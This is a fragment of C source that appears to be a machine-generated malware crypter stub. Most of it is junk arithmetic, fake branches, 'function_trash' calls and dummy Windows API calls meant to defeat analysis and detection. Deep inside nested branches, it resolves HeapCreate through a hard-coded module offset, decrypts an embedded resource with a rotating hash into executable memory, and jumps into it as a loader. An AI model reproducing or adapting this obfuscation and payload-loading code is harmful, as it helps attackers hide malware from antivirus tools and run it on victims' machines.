IID loc9;
PINT64 loc74;
PUINT64 loc57;
INT16 loc122;
PINT16 loc22;
PUINT32 loc88;
PUINT32 loc125;
IID loc114;
UINT64 loc25;
PINT8 loc86;
INT64 loc115;
PINT32 loc54;
UINT16 loc36;
PUINT16 loc40;
PUINT32 loc51;
INT64 loc1;
UINT16 loc98;
INT32 loc13;
HRESULT loc81;
UINT16 loc66;
INT8 loc64;
LDR_RESTORE_PARAMS rest_params;
UINT64 loc32;
INT16 loc11;
UINT32 loc41;
UINT32 idx3;
INT16 loc33;
INT8 loc35;
PUINT32 loc14;
DWORD hc_2;
PINT32 loc50;
HWND loc21;
UINT64 loc61;
PUINT16 loc77;
UINT32 idx6;
__debugbreak();
k_AssignProcessToJobObject(0, 0);
glob0 = ( glob0 - 0x0235 );
idx0 = 0x0000E04C;
loc1 = 0x78FC399AB4064C;
loc2 = glob0;
loc3 = 0x7607ED7304200B;
loc4 = 0xA813;
loc5 = loc4;
loc6 = loc2;
loc7 = 0x75;
if( loc3 == 0x70767FADA5DCD1 )
{
loc2 = ( loc6 + glob0 );
loc6 = ( loc2 & glob0 );
loc8 = SHBindToParent((PCIDLIST_ABSOLUTE)&loc7, loc9, (VOID**)&loc3, (PCUITEMID_CHILD*)&loc2);
}
else if( loc7 >= 0xFC )
{
glob0 = ( loc2 << loc6 );
}
loc10 = 0x0B58;
switch( loc4 )
{
case 0xA813:
loc11 = loc6;
idx2 = 0x0000929B;
loc12 = loc1;
loc13 = 0x0604;
loc14 = &loc5;
loc15 = &loc3;
loc16 = loc10;
k_AssignProcessToJobObject(0, 0);
loc18 = loc7;
idx5 = 0x00009545;
loc19 = 0x24;
if( loc19 >= 0x66 )
{
function_trash_1();
}
glob1 = loc10;
switch( loc6 )
{
case 0x05BA:
loc2 = ( loc6 + loc11 );
*loc14 = ( *loc14 & loc4 );
loc3 = ( *loc15 + 0x7DB3970B672F4B );
function_trash_2(*loc15, loc19, loc13, glob1);
break;
case 0x01BF:
loc4 = ( loc5 - *loc14 );
loc13 = ( loc13 - 0x0745 );
loc7 = ( loc18 + 0x77 );
loc20 = SHChangeNotifyRegister(loc21, 0x08, 0xFC, 0xAC, 0x93, (const SHChangeNotifyEntry*)&loc5);
*loc14 = ( loc5 >> loc20 );
function_trash_2(loc3, loc19, loc13, loc16);
break;
}
loc22 = &loc2;
if( loc13 < 0x3C56 )
{
switch( loc6 )
{
case 0xFFFFFE38:
glob2 = ( loc16 << loc10 );
loc23 = glob2;
k_AssignProcessToJobObject(0, 0);
break;
default:
*loc14 = ( loc4 | loc20 );
break;
}
loc20 = loc4;
idx4 = 0x0000D02C;
loc25 = *loc15;
loc26 = &loc12;
}
idx1 = 0x0000B3DF;
loc27 = loc18;
do
{
loc10 = ( loc16 ^ loc23 );
loc11 = ( loc2 & loc6 );
glob1 = ( loc16 + loc10 );
loc23 = ( loc16 - glob2 );
loc3 = ( loc25 + *loc15 );
*loc14 = ( loc5 - loc4 );
*loc14 = ( *loc14 & loc20 );
idx0 -= 0x00000032;
loc1 = ( loc12 - *loc26 );
loc6 = ( *loc22 + loc11 );
loc19 = ( loc19 + 0x6D );
loc27 = ( loc18 - loc7 );
glob1 = ( loc16 ^ loc23 );
loc18 = ( loc27 << loc7 );
loc4 = ( loc20 | *loc14 );
*loc15 = ( *loc15 >> loc25 );
k_CreateIoCompletionPort(0, 0, 0, 0);
loc1 = ( *loc26 & loc12 );
*loc15 = ( loc25 - loc3 );
loc19 = ( loc19 + 0x57 );
}while( idx0 > 0xD368);
loc29 = &loc11;
loc30 = loc7;
glob3 = ( loc19 + 0x60 );
while( idx1 < 0xBD9D )
{
*loc14 = ( loc20 - loc4 );
loc16 = ( loc23 - loc10 );
loc13 = ( loc13 & 0x5C25 );
loc25 = ( loc3 + *loc15 );
loc4 = ( *loc14 - loc20 );
*loc26 = ( *loc26 + loc1 );
*loc29 = ( loc6 | *loc22 );
*loc15 = ( *loc15 >> loc3 );
glob1 = ( loc23 ^ loc16 );
loc11 = ( *loc29 << loc2 );
*loc14 = ( loc4 & loc20 );
loc3 = ( *loc15 - loc25 );
loc5 = ( *loc14 + loc20 );
k_GlobalUnWire(0);
loc13 = ( loc13 + 0x63D3 );
loc1 = ( loc12 - *loc26 );
*loc14 = ( *loc14 + loc5 );
idx1 += 0x0000003A;
k_LockResource(0);
*loc29 = ( loc11 - *loc22 );
glob1 = ( loc23 & loc10 );
loc6 = ( loc11 + *loc29 );
loc10 = ( glob1 >> loc23 );
loc13 = ( loc13 ^ 0x0892 );
loc12 = ( *loc26 << loc1 );
loc20 = ( *loc14 | loc5 );
loc25 = ( loc3 - *loc15 );
*loc22 = ( loc2 & loc11 );
loc27 = ( loc18 + loc7 );
*loc14 = ( *loc14 - loc20 );
glob2 = ( loc16 - loc23 );
loc2 = ( *loc29 + *loc22 );
loc13 = ( loc13 + 0x3CF9 );
}
loc4 = ( *loc14 - loc20 );
loc32 = *loc15;
if( ( loc1 + *loc26 ) <= loc12 )
{
loc33 = *loc22;
while( idx2 > 0x8E8F )
{
loc32 = ( loc3 + loc25 );
loc13 = ( loc13 & 0x7D1B );
*loc14 = ( loc5 - loc20 );
idx2 -= 0x0000000E;
*loc26 = ( loc1 + loc12 );
loc19 = ( glob3 - 0x48 );
*loc14 = ( loc5 - loc20 );
loc2 = ( loc11 + loc33 );
*loc26 = ( loc12 - loc1 );
loc10 = ( loc16 + loc23 );
*loc22 = ( *loc29 - loc11 );
loc1 = ( loc12 << *loc26 );
loc20 = ( loc4 ^ loc5 );
loc25 = ( loc32 | *loc15 );
*loc15 = ( *loc15 >> loc3 );
loc19 = ( glob3 & 0x1F );
k_GetThreadTimes(0, 0, 0, 0, 0);
*loc15 = ( loc32 + loc25 );
glob1 = ( loc23 - loc10 );
loc7 = ( loc30 & loc27 );
loc11 = ( *loc29 + loc33 );
loc1 = ( *loc26 + loc12 );
loc25 = ( *loc15 - loc3 );
*loc14 = ( loc5 - loc20 );
*loc14 = ( loc5 + loc20 );
loc23 = ( loc10 ^ loc16 );
loc10 = ( loc16 | loc23 );
k_DisconnectNamedPipe(0);
glob3 = ( loc19 << 0x03 );
k_SetSystemTimeAdjustment(0, 0);
loc11 = ( *loc22 >> glob0 );
loc19 = ( glob3 & 0x64 );
loc1 = ( *loc26 + loc12 );
loc4 = ( *loc14 - loc20 );
*loc15 = ( loc25 + loc3 );
loc13 = ( loc13 - 0x1259 );
*loc29 = ( *loc29 & *loc22 );
*loc26 = ( loc12 + loc1 );
}
glob4 = loc13;
loc27 = ( loc30 - loc18 );
if( ( loc33 - loc6 ) == ( loc2 + loc11 ) )
{
loc35 = glob3;
loc36 = loc16;
loc37 = &loc12;
loc20 = ( *loc14 ^ loc5 );
loc38 = &loc13;
}
loc39 = &loc32;
k_SetMailslotInfo(0, 0);
idx9 = 0x00004F9D;
loc18 = ( loc7 << loc30 );
glob5 = ( loc30 >> loc7 );
loc40 = &loc16;
if( ( loc32 | loc3 ) < ( loc25 & *loc39 ) )
{
loc6 = ( *loc22 + *loc29 );
}
if( ( glob3 - loc19 ) != loc35 )
{
loc6 = ( glob0 - loc33 );
loc12 = ( loc1 & *loc26 );
function_trash_7();
}
else{
loc41 = *loc14;
if( ( loc41 + *loc14 ) >= ( loc5 + loc20 ) )
{
switch( *loc22 )
{
case 0x00:
loc42 = *loc38;
k_AssignProcessToJobObject(0, 0);
glob6 = &glob3;
loc44 = loc35;
loc45 = &loc23;
break;
default:
loc46 = PlayMetaFileRecord(loc47, (LPHANDLETABLE)&loc18, (LPMETARECORD)&loc11, 0xB3);
break;
}
loc36 = ( *loc40 ^ *loc45 );
loc48 = *loc22;
loc27 = ( loc7 << loc18 );
loc49 = &loc12;
loc32 = ( loc25 >> loc3 );
loc50 = &loc13;
if( ( loc4 | loc20 ) >= ( *loc14 & loc5 ) )
{
if( ( loc12 * *loc49 ) <= ( loc1 + *loc26 ) )
{
glob7 = ( *loc14 - loc41 );
k_EraseTape(0, 0, 0);
switch( *loc14 )
{
case 0x00:
loc51 = &loc5;
loc52 = loc18;
k_GetProcessPriorityBoost(0, 0);
break;
default:
*loc40 = ( glob1 + *loc45 );
break;
}
idx3 = 0x0000E6D9;
}
}
idx6 = 0x0000C94B;
if( ( *loc49 - *loc26 ) > ( *loc37 - loc12 ) )
{
function_trash_8(*loc39);
}
loc6 = ( *loc22 - *loc29 );
if( ( *loc40 & *loc45 ) <= ( loc16 * glob1 ) )
{
loc53 = loc7;
loc19 = ( *glob6 + glob3 );
loc54 = &loc42;
}
do
{
*loc49 = ( *loc26 | *loc37 );
glob7 = ( loc4 >> loc5 );
*loc39 = ( *loc15 ^ loc25 );
*loc49 = ( loc12 << loc1 );
loc35 = ( loc19 + *glob6 );
*loc45 = ( loc23 & *loc40 );
loc2 = ( *loc22 - loc33 );
loc30 = ( loc52 + glob5 );
loc20 = ( *loc14 + *loc51 );
loc3 = ( *loc15 - loc32 );
glob3 = ( *glob6 - loc44 );
loc42 = ( *loc54 + loc13 );
idx3 += 0x00000080;
loc53 = ( loc52 - loc27 );
loc19 = ( *glob6 & loc35 );
*loc45 = ( *loc40 | loc16 );
loc33 = ( loc2 << glob0 );
loc19 = ( *glob6 >> loc44 );
}while( idx3 < 0xF0D9);
loc20 = ( loc41 ^ loc5 );
do
{
*loc39 = ( *loc15 + loc25 );
loc42 = ( *loc50 + glob4 );
glob5 = ( loc7 & loc53 );
loc2 = ( loc33 - loc11 );
loc7 = ( loc18 + loc52 );
loc44 = ( loc19 - *glob6 );
loc36 = ( *loc40 - *loc45 );
loc48 = ( *loc22 + loc33 );
idx4 += 0x00000001;
*loc15 = ( loc3 - loc32 );
loc42 = ( *loc50 + loc13 );
*loc37 = ( loc1 - loc12 );
glob7 = ( *loc51 >> *loc14 );
loc10 = ( *loc45 << *loc40 );
*loc15 = ( *loc39 ^ loc3 );
loc53 = ( loc52 | loc27 );
*loc29 = ( *loc29 & *loc22 );
loc7 = ( loc27 - loc53 );
*loc39 = ( loc25 + loc3 );
loc12 = ( loc1 & *loc26 );
loc13 = ( *loc38 + *loc54 );
glob7 = ( loc4 + loc41 );
*loc45 = ( loc36 + loc23 );
loc36 = ( *loc45 - *loc40 );
loc10 = ( loc36 - *loc40 );
loc44 = ( *glob6 ^ loc19 );
*loc29 = ( *loc22 | loc2 );
*loc45 = ( loc36 << loc10 );
*loc50 = ( *loc38 >> *loc54 );
loc12 = ( *loc49 & *loc37 );
}while( idx4 != 0xD03A);
glob8 = &loc42;
loc57 = &loc3;
loc58 = *loc14;
loc33 = ( *loc22 - loc2 );
loc59 = &loc30;
loc60 = &glob3;
if( ( loc44 + *loc60 ) != ( *glob6 - loc35 ) )
{
loc7 = ( *loc59 - loc18 );
loc23 = ( loc10 & *loc40 );
*loc14 = ( *loc14 - *loc51 );
glob5 = ( loc53 + *loc59 );
}
loc61 = *loc39;
switch( *loc45 )
{
case 0x00:
*loc50 = ( loc13 + loc42 );
loc62 = glob3;
loc27 = ( *loc59 + loc18 );
break;
case 0x06FA:
*loc22 = ( *loc29 | loc48 );
break;
}
if( ( loc42 >> loc13 ) < ( *glob8 ^ *loc50 ) )
{
loc36 = ( *loc45 - *loc40 );
loc62 = ( loc44 + *loc60 );
loc41 = ( *loc51 - loc5 );
}
else{
k_CreateIoCompletionPort(0, 0, 0, 0);
idx8 = 0x0000EBF8;
do
{
glob4 = ( *loc54 - loc42 );
k_GetModuleFileNameA(0, 0, 0);
*loc26 = ( loc12 + *loc37 );
k_GetProcessPriorityBoost(0, 0);
loc3 = ( loc25 & *loc39 );
k_FreeResource(0);
*loc22 = ( *loc22 + loc11 );
*loc22 = ( loc48 + loc6 );
loc16 = ( glob1 - loc36 );
loc53 = ( loc27 | *loc59 );
loc35 = ( glob3 ^ *loc60 );
*loc15 = ( *loc57 << loc3 );
glob4 = ( *loc54 >> *glob8 );
loc1 = ( *loc49 & *loc26 );
loc20 = ( loc41 + *loc14 );
*loc59 = ( loc53 + loc18 );
*loc45 = ( *loc40 - loc16 );
k_EncodePointer(0);
loc33 = ( *loc22 + loc6 );
loc62 = ( loc19 - loc35 );
loc33 = ( loc6 - loc2 );
loc58 = ( loc20 & *loc51 );
glob4 = ( loc13 + *loc38 );
loc3 = ( loc32 ^ loc61 );
k_SetHandleCount(0);
*loc49 = ( *loc49 | *loc37 );
*loc59 = ( glob5 << loc7 );
loc23 = ( *loc40 >> *loc45 );
*loc29 = ( loc48 + *loc22 );
*loc59 = ( loc27 & loc7 );
loc62 = ( loc44 - *loc60 );
idx5 -= 0x0000007C;
*loc26 = ( loc12 - loc1 );
glob7 = ( loc41 + *loc14 );
k_CreateIoCompletionPort(0, 0, 0, 0);
}while( idx5 >= 0x8E7D);
loc25 = ( loc3 + loc32 );
k_AssignProcessToJobObject(0, 0);
loc65 = loc42;
if( ( loc1 - loc12 ) == ( *loc26 + *loc37 ) )
{
loc66 = loc10;
loc62 = ( loc44 & loc35 );
loc67 = &loc18;
loc68 = *loc22;
if( ( loc1 << loc12 ) == ( *loc37 >> *loc26 ) )
{
loc69 = *loc26;
*loc54 = ( *loc54 | loc42 );
while( idx6 > 0xA6FA )
{
loc32 = ( *loc57 + loc61 );
loc35 = ( *loc60 - loc44 );
loc36 = ( *loc45 & *loc40 );
*loc67 = ( loc27 + loc53 );
loc68 = ( *loc29 + loc48 );
loc62 = ( loc19 - *loc60 );
glob0 = ( *loc29 + loc33 );
loc65 = ( *loc38 - *loc50 );
*loc51 = ( loc20 - *loc14 );
loc32 = ( loc25 - *loc15 );
k_GetCommTimeouts(0, 0);
*loc40 = ( *loc40 - loc16 );
k_ClearCommBreak(0);
*loc22 = ( *loc22 >> *loc29 );
loc18 = ( *loc59 | *loc67 );
loc35 = ( loc62 ^ glob3 );
*loc59 = ( *loc59 << *loc67 );
loc4 = ( loc20 & loc58 );
*glob6 = ( loc62 + *loc60 );
loc42 = ( loc65 + loc13 );
loc12 = ( loc1 & *loc26 );
loc10 = ( *loc45 + loc36 );
loc11 = ( *loc29 - *loc22 );
k_GetModuleFileNameA(0, 0, 0);
*loc67 = ( loc52 - loc27 );
loc36 = ( loc10 - *loc45 );
loc6 = ( loc68 + loc2 );
*loc38 = ( *loc38 >> *loc54 );
glob3 = ( loc19 ^ *loc60 );
loc1 = ( *loc37 << *loc26 );
*loc51 = ( *loc14 | loc4 );
loc7 = ( loc53 & *loc67 );
idx6 -= 0x000000FB;
*loc45 = ( loc66 + glob2 );
loc68 = ( loc11 + loc2 );
loc44 = ( loc35 - loc19 );
loc35 = ( glob3 - loc62 );
*loc14 = ( loc20 & *loc51 );
glob3 = ( *glob6 + *loc60 );
loc13 = ( *loc54 - loc65 );
loc61 = ( loc3 + loc25 );
loc52 = ( loc30 - *loc67 );
loc68 = ( *loc22 >> loc6 );
*loc45 = ( loc23 << loc66 );
}
if( ( loc62 | *loc60 ) <= ( *glob6 ^ loc19 ) )
{
loc71 = &loc35;
loc72 = &loc19;
loc73 = &loc6;
glob9 = *loc59;
*loc15 = ( *loc39 & loc25 );
}
loc74 = &loc12;
loc65 = ( loc13 + *glob8 );
if( ( *loc14 + loc4 ) < ( *loc51 - glob7 ) )
{
loc5 = ( glob7 & *loc51 );
}
else if( ( *loc73 - loc48 ) == ( loc33 - loc6 ) )
{
loc75 = *loc67;
loc35 = ( loc44 + *loc72 );
loc23 = ( *loc45 + loc16 );
}
loc76 = &loc2;
glob10 = ( loc20 - *loc51 );
loc77 = &loc66;
idx7 = 0x0000668E;
*loc54 = ( *loc50 | *loc38 );
loc78 = &loc12;
loc20 = ( *loc14 ^ loc41 );
do
{
loc3 = ( loc61 >> *loc15 );
loc62 = ( loc44 << glob3 );
*loc76 = ( loc48 & *loc73 );
loc27 = ( *loc67 + loc52 );
glob3 = ( loc35 - loc62 );
*loc77 = ( loc10 - *loc40 );
*loc50 = ( loc42 + loc13 );
loc1 = ( *loc78 - *loc49 );
*loc57 = ( *loc57 - *loc15 );
*loc51 = ( loc4 & loc58 );
loc62 = ( loc35 + *loc60 );
loc36 = ( glob1 | loc10 );
idx7 += 0x000000F4;
loc30 = ( loc7 >> *loc59 );
glob9 = ( *loc67 ^ loc7 );
loc48 = ( *loc76 << loc2 );
loc4 = ( *loc51 - *loc14 );
loc32 = ( loc3 & loc25 );
loc13 = ( *loc54 - *loc50 );
loc12 = ( loc69 + *loc74 );
loc44 = ( *loc60 - loc62 );
loc53 = ( *loc67 + *loc59 );
loc16 = ( *loc77 + *loc40 );
glob0 = ( *loc22 + *loc29 );
loc10 = ( *loc77 - *loc40 );
loc5 = ( *loc14 & loc20 );
loc69 = ( *loc78 >> *loc74 );
loc42 = ( loc65 ^ loc13 );
loc25 = ( *loc57 | loc32 );
k_TransmitCommChar(0, 0);
}while( idx7 < 0x9912);
if( ( loc44 << loc19 ) != ( loc62 - loc35 ) )
{
function_trash_1();
loc48 = ( *loc29 - *loc73 );
}
loc80 = &loc18;
*loc59 = ( loc52 & loc27 );
switch( *loc49 )
{
case 0x7E2EC3D8336864:
*loc57 = ( *loc57 - *loc39 );
function_trash_1();
loc65 = ( *loc38 - *loc54 );
loc5 = ( *loc51 + loc58 );
break;
case 0x00:
loc83 = *loc78;
loc19 = ( loc35 + *glob6 );
loc84 = &loc30;
*loc76 = ( loc33 + *loc73 );
loc85 = loc10;
*loc22 = ( glob0 - loc6 );
if( ( loc33 >> *loc29 ) <= ( loc68 << *loc73 ) )
{
loc41 = ( loc20 | *loc14 );
if( ( *loc29 ^ glob0 ) < ( loc2 & *loc22 ) )
{
loc65 = ( loc42 & *loc54 );
function_trash_6(*loc14, *loc15, loc62);
}
else if( ( loc3 - loc25 ) < ( *loc15 + *loc57 ) )
{
*loc49 = ( loc12 + loc1 );
loc25 = ( loc61 + loc32 );
loc6 = ( loc2 + loc11 );
*loc59 = ( *loc67 - *loc80 );
}
}
glob11 = ( *loc39 - *loc15 );
loc86 = &loc35;
if( ( *loc22 | glob0 ) <= ( *loc29 << *loc73 ) )
{
loc16 = ( *loc45 + *loc40 );
loc87 = *loc38;
k_ReleaseSemaphore(0, 0, 0);
if( ( loc33 + loc48 ) > ( *loc29 - *loc76 ) )
{
function_trash_12();
}
else{
*loc39 = ( loc32 + *loc15 );
loc88 = &loc4;
*loc37 = ( *loc74 - *loc49 );
loc89 = loc85;
loc53 = ( loc7 + loc18 );
k_GetProcessAffinityMask(0, 0, 0);
glob12 = *loc76;
loc90 = &loc11;
}
do
{
loc44 = ( loc19 - loc62 );
loc35 = ( *loc60 | loc62 );
loc69 = ( loc1 << loc83 );
*loc88 = ( *loc14 ^ *loc51 );
loc42 = ( *loc50 >> loc13 );
loc32 = ( loc3 & loc61 );
loc66 = ( *loc40 - *loc45 );
*glob8 = ( loc65 + loc87 );
loc19 = ( loc35 - glob3 );
loc52 = ( loc7 - *loc67 );
*loc73 = ( *loc73 + *loc76 );
k_ResetEvent(0);
loc58 = ( *loc14 & *loc51 );
*loc54 = ( *loc50 + loc13 );
k_SetInformationJobObject(0, 0, 0, 0);
k_GetProcessPriorityBoost(0, 0);
*loc15 = ( *loc57 - loc61 );
loc12 = ( *loc74 + *loc78 );
loc27 = ( loc75 >> loc53 );
k_GetThreadPriorityBoost(0, 0);
glob3 = ( loc44 | *loc71 );
loc18 = ( *loc59 << loc30 );
loc48 = ( *loc76 ^ loc6 );
loc85 = ( loc89 & loc66 );
loc3 = ( loc25 + loc32 );
loc1 = ( *loc26 - loc83 );
loc5 = ( *loc88 + loc4 );
idx8 -= 0x000000EE;
*loc50 = ( loc87 + *loc38 );
*loc22 = ( loc48 - loc6 );
*glob6 = ( *loc86 - *loc60 );
*loc40 = ( *loc40 & loc89 );
loc7 = ( loc18 + *loc84 );
loc89 = ( loc36 | loc66 );
loc35 = ( loc19 >> loc44 );
loc58 = ( glob10 << *loc14 );
}while( idx8 > 0xA374);
if( ( *loc74 ^ *loc49 ) >= ( loc69 - *loc37 ) )
{
loc61 = ( loc32 | *loc57 );
*loc49 = ( loc69 ^ *loc37 );
switch( *loc76 )
{
case 0x0239:
loc33 = ( loc48 + loc11 );
break;
case 0x00:
loc94 = *loc80;
loc89 = ( *loc45 - *loc40 );
if( ( loc5 - *loc14 ) > ( *loc51 + *loc88 ) )
{
function_trash_13(*loc37, loc65, loc5);
loc3 = ( loc25 + loc61 );
loc41 = ( *loc88 + *loc14 );
loc69 = ( loc1 << *loc78 );
loc95 = CoGetTreatAsClass(loc96, (LPCLSID)&loc35);
*loc54 = ( loc13 | *loc38 );
}
else{
glob13 = ( loc53 ^ *loc59 );
k_GetThreadContext(0, 0);
loc97 = &loc68;
loc19 = ( loc62 >> *loc60 );
loc98 = *loc40;
switch( loc3 )
{
case 0x78F84EC0D136D2:
function_trash_5(loc13, *loc50);
break;
default:
loc7 = ( *loc84 & *loc80 );
loc58 = ( loc20 + loc5 );
break;
}
}
k_SetProcessWorkingSetSize(0, 0, 0);
loc99 = &loc42;
loc25 = ( loc61 + glob11 );
if( ( loc10 & *loc40 ) == ( *loc45 - *loc77 ) )
{
function_trash_12();
}
do
{
loc1 = ( loc83 - *loc49 );
*glob6 = ( loc44 + loc19 );
idx9 -= 0x00000060;
loc11 = ( *loc73 - loc68 );
*loc60 = ( *loc71 - loc35 );
loc23 = ( *loc40 | loc10 );
loc23 = ( glob2 >> *loc45 );
loc12 = ( *loc26 << *loc49 );
}while( idx9 >= 0x42DD);
hc_1 = 0x61BE9EB7;
loc111 = glob11;
if( ( *loc59 ^ *loc80 ) != ( loc7 & *loc67 ) )
{
loc58 = ( glob10 - loc4 );
*loc50 = ( *loc99 + loc13 );
glob0 = ( *loc73 - loc33 );
}
hc_1 += 0x9E456149;
switch( *loc88 )
{
case 0x56BD:
*loc80 = ( loc75 + loc27 );
function_trash_8(*loc15);
break;
case 0x2DB1:
loc75 = ( loc7 & loc52 );
break;
}
hc_2 = 0x3C15AA54;
loc98 = ( *loc40 + *loc45 );
loc44 = ( *glob6 - *loc86 );
k_AssignProcessToJobObject(0, 0);
hc_2 -= 0x3C14E5B5;
if( ( loc32 + *loc39 ) != ( loc25 - loc111 ) )
{
*loc14 = ( *loc14 << *loc51 );
}
else if( ( *loc88 >> *loc14 ) <= ( loc20 ^ loc58 ) )
{
switch( loc44 )
{
case 0x00:
hc_3 = hc_2;
glob14 = ( loc62 - *loc60 );
loc113 = loc33;
pHeapCreate = (TD_HeapCreate)*(PDWORD_PTR)((DWORD_PTR)hInstance + 0x70DEA00A);
loc52 = ( *loc67 - *loc59 );
if( ( loc41 + *loc51 ) != ( loc4 + *loc14 ) )
{
loc16 = ( glob1 - *loc40 );
loc19 = ( *loc86 + loc35 );
loc95 = CoGetObject((LPCWSTR)&loc74, (BIND_OPTS*)&loc88, loc114, (void**)&loc38);
*loc15 = ( loc61 << *loc57 );
}
else if( ( loc1 & loc83 ) > ( loc12 + *loc74 ) )
{
*loc51 = ( *loc88 ^ *loc14 );
}
executed = (PBYTE)pHeapCreate(hc_1,hc_2,hc_3);
loc115 = *loc26;
loc42 = ( glob4 | loc87 );
glob15 = *loc77;
*loc29 = ( *loc73 >> loc11 );
loc116 = *loc97;
executed_byte = executed;
switch( loc35 )
{
case 0x00:
loc19 = ( glob3 - *loc60 );
k_GetProcessIoCounters(0, 0);
loc119 = loc111;
*loc49 = ( *loc49 - loc115 );
hash = 0xC71815EB;
loc87 = ( *glob8 + *loc99 );
loc120 = loc41;
*loc84 = ( *loc59 + glob5 );
i = 137;
glob16 = ( loc35 - loc19 );
loc121 = &loc2;
rcdata = (PBYTE)((DWORD_PTR)hInstance + 0x70DEA01A);
if( ( *loc74 + *loc78 ) >= ( *loc49 & loc115 ) )
{
loc16 = ( loc10 | *loc77 );
loc122 = *loc29;
*loc74 = ( loc12 >> *loc49 );
loc3 = ( loc25 ^ loc119 );
loc123 = *loc14;
}
else{
function_trash_10(*loc99, loc13);
}
rcdata_byte = rcdata;
loc65 = ( *loc54 - loc87 );
switch( glob11 )
{
case 0x72DDAAAAB8359E:
function_trash_13(*loc37, loc13, *loc88);
break;
default:
glob17 = ( *loc77 - *loc45 );
loc124 = &loc27;
ldr_restore_size = 0x00000610;
loc27 = ( loc53 + glob5 );
loc122 = ( *loc29 - *loc73 );
loc125 = &loc4;
ldr_restore_size |= 0x00522829;
loc87 = ( *loc38 + *loc50 );
loc126 = *loc49;
while( i < ldr_restore_size )
{
*loc15 = ( *loc39 + *loc57 );
loc35 = ( *glob6 - *loc86 );
glob13 = ( loc94 - *loc67 );
loc113 = ( loc116 & glob12 );
k_OpenProcess(0, 0, 0);
bt = *rcdata_byte;
loc44 = ( *loc60 ^ *loc86 );
loc16 = ( loc85 | loc89 );
*loc88 = ( *loc51 << *loc125 );
*loc39 = ( *loc39 >> loc111 );
loc87 = ( loc65 + loc42 );
bt = (bt - hash);
*loc49 = ( loc12 - loc126 );
loc62 = ( loc19 & loc44 );
glob12 = ( *loc22 + loc33 );
loc10 = ( *loc45 - loc85 );
*loc77 = ( glob17 - *loc45 );
loc7 = ( loc94 - loc52 );
bt = _rotl8(bt, hash);
loc36 = ( loc23 + loc66 );
loc115 = ( loc83 + *loc74 );
loc25 = ( *loc39 + *loc15 );
*executed_byte = bt;
k_EncodePointer(0);
*loc14 = ( loc120 + loc41 );
*loc54 = ( loc65 | *loc99 );
rcdata_byte++;
glob12 = ( loc113 >> *loc97 );
loc94 = ( *loc59 << *loc84 );
*loc71 = ( loc44 ^ glob16 );
loc48 = ( *loc97 & loc2 );
loc62 = ( *loc86 - loc44 );
loc4 = ( glob10 + loc5 );
executed_byte++;
loc119 = ( loc61 & *loc57 );
*loc74 = ( loc115 + loc12 );
loc13 = ( *loc99 + loc87 );
glob5 = ( *loc80 - glob13 );
k_AssignProcessToJobObject(0, 0);
*loc72 = ( loc62 - *loc86 );
hash = (hash + 0x00007201);
loc36 = ( loc16 - loc10 );
loc48 = ( *loc22 >> *loc76 );
hash = _rotr(hash,0x00000015);
*loc80 = ( loc18 | *loc124 );
loc32 = ( loc25 ^ *loc57 );
*loc74 = ( *loc37 << *loc78 );
loc120 = ( *loc51 & *loc88 );
loc42 = ( glob4 - *loc54 );
i += 25404;
glob15 = ( *loc77 - loc89 );
*loc97 = ( *loc22 - loc11 );
loc36 = ( *loc77 + *loc45 );
loc19 = ( *loc86 & *glob6 );
loc53 = ( *loc80 - loc27 );
loc58 = ( loc5 + *loc14 );
}
if( ( loc13 + *loc54 ) != ( loc65 + loc87 ) )
{
function_trash_3(loc89, *loc40);
function_trash_2(loc61, *loc86, loc65, *loc77);
}
else if( ( loc58 >> *loc125 ) == ( *loc14 << *loc88 ) )
{
}
rest_params.orig_data = (PBYTE)executed + 212;
loc42 = ( *glob8 ^ *loc54 );
*loc49 = ( *loc78 | loc83 );
loc129 = loc3;
glob18 = ( loc11 & *loc90 );
rest_params.entr_data = (PBYTE)rcdata + 212;
*loc77 = ( loc98 + *loc45 );
loc130 = *loc124;
loc35 = ( *glob6 - loc44 );
*loc22 = ( loc68 - *loc121 );
rest_params.base = (DWORD_PTR)hInstance;
k_GetMailslotInfo(0, 0, 0, 0, 0);
loc131 = *loc26;
loc20 = ( loc5 - *loc51 );
loc132 = loc61;
*loc99 = ( loc42 + glob4 );
glob15 = ( *loc40 * 0x06FA );
((TD_ldr_restore)executed)(&rest_params);
loc133 = loc18;
*loc71 = ( loc44 & *loc60 );
switch( *loc59 )
{
case 0x00:
break;
case 0xD3:
loc36 = ( *loc77 + *loc40 );
break;
}
*loc97 = ( *loc97 - loc122 );
function_trash_11(*loc15, loc120, *loc40, loc87, *loc45);
break;
}
*loc60 = ( loc35 & loc19 );
function_trash_7();
break;
case 0x2D:
function_trash_8(*loc15);
break;
}
loc18 = ( *loc80 & *loc67 );
break;
case 0x7D:
loc13 = ( *glob8 - *loc99 );
break;
}
*loc15 = ( loc111 & loc32 );
function_trash_10(loc42, *loc54);
}
loc69 = ( loc12 | loc83 );
break;
}
loc42 = ( *loc50 - *loc54 );
function_trash_7();
glob3 = ( loc19 + loc62 );
*loc60 = ( *loc71 & loc19 );
}
else if( ( *loc49 & *loc78 ) > ( loc69 - *loc74 ) )
{
glob0 = ( loc33 - *loc90 );
loc89 = ( *loc45 - *loc40 );
*loc59 = ( loc27 + loc52 );
loc11 = ( loc33 & loc2 );
*loc45 = ( loc66 >> loc89 );
loc5 = ( *loc14 << *loc88 );
}
loc83 = ( *loc26 + loc69 );
loc32 = ( *loc39 - *loc15 );
loc92 = CoIsOle1Class(loc93);
*loc50 = ( loc65 + *glob8 );
function_trash_13(*loc26, *loc50, loc5);
}
else{
loc19 = ( loc62 & *loc60 );
}
function_trash_11(loc25, loc20, loc10, *loc54, *loc77);
break;
}
glob3 = ( *loc72 + *loc60 );
loc81 = GetClassFile(loc82, (CLSID*)&loc61);
*loc77 = ( *loc45 + *loc40 );
function_trash_8(*loc57);
}
loc4 = ( *loc14 ^ *loc51 );
}
function_trash_8(*loc15);
*loc40 = ( *loc45 - loc16 );
}
function_trash_9(loc32);
}
loc25 = ( loc3 - *loc39 );
}
*loc29 = ( loc33 - *loc22 );
function_trash_5(loc13, *loc38);
}
else{
loc30 = ( loc27 << loc7 );
*loc14 = ( *loc14 >> loc20 );
glob1 = ( loc16 - loc23 );
function_trash_6(loc4, loc32, loc19);
}
loc1 = ( *loc26 | loc12 );
loc19 = ( glob3 ^ 0x1F );
function_trash_4(loc19, *loc22, loc1);
break;
default:
function_trash_1();
loc4 = ( loc5 ^ 0xDA57 );
loc10 = ( loc10 | 0x05CD );
glob0 = ( loc6 - loc2 );
break;
}
loc1 = ( loc1 >> 0x13 );
function_trash_1();
return loc13;
}
